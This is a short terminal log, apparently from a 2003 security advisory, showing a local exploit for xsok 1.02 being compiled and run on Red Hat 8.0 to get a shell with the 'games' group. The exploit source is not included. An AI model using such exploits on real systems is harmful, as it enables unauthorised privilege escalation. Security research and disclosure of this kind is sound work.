xsok local games exploit

-tested under Red Hat 8.0-

[c0wboy_at_0x333 test]$ gcc 0x333xsok.c -o exp
[c0wboy_at_0x333 test]$ ./exp

 --- 0x333xsok => xsok 1.02 local games exploit ---
   --- Outsiders Se(c)urity Labs 2003 ---

sh-2.05b$ id
uid=500(c0wboy) gid=20(games) groups=500(c0wboy)
sh-2.05b$ exit
exit
[c0wboy_at_0x333 test]$